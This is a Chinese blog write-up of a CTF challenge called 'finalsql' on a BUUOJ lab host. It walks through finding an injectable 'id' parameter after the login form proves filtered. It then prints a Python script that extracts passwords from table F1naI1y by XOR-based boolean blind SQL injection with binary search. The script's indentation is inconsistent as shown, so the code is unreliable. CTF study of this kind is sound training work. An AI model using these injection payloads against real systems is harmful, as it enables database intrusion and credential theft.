极客大挑战finalsql

极客大挑战finalsql

(1)打开页面

image.png

(2)先对首页的用户名和密码经行过滤检查

image.png
发现了select,and,from,where等重要的关键词被过滤掉,无法进一步进行sql注入

(3)查找一下其他的线索

image.png
一个一个点进去,从id=1到id=6,然后被耍了!

不过可以猜测,id后面应该可以进行sql注入。

(4)对id后的值经行过滤检查

image.png
这里的关键字没有被过滤掉可以进行sql,此外发现页面回显的结果只有“ERROR!!!”和“你可别被我逮住了,臭弟弟”结合首页的提示要使用sql盲注。

(5)写一下python脚本

利用requests库中的get请求写脚本。

import requests
url = 'http://d8033658-fcc1-4e69-bf4f-a356e0510af8.node4.buuoj.cn:81/search.php'
flag = ''
for i in range(1,250):
  low = 32
  high = 128
  mid = (low+high)//2
  while(low<high):
     #payload = 'http://d8033658-fcc1-4e69-bf4f-a356e0510af8.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
     payload = "http://d8033658-fcc1-4e69-bf4f-a356e0510af8.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
     r = requests.get(url=payload)

     if 'ERROR' in r.text:
       low = mid+1
     else:
       high = mid
    mid = (low+high)//2
    if(mid ==32 or mid ==127):
      break
    flag = flag+chr(mid)
    print(flag)

image.png
爆出flag。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信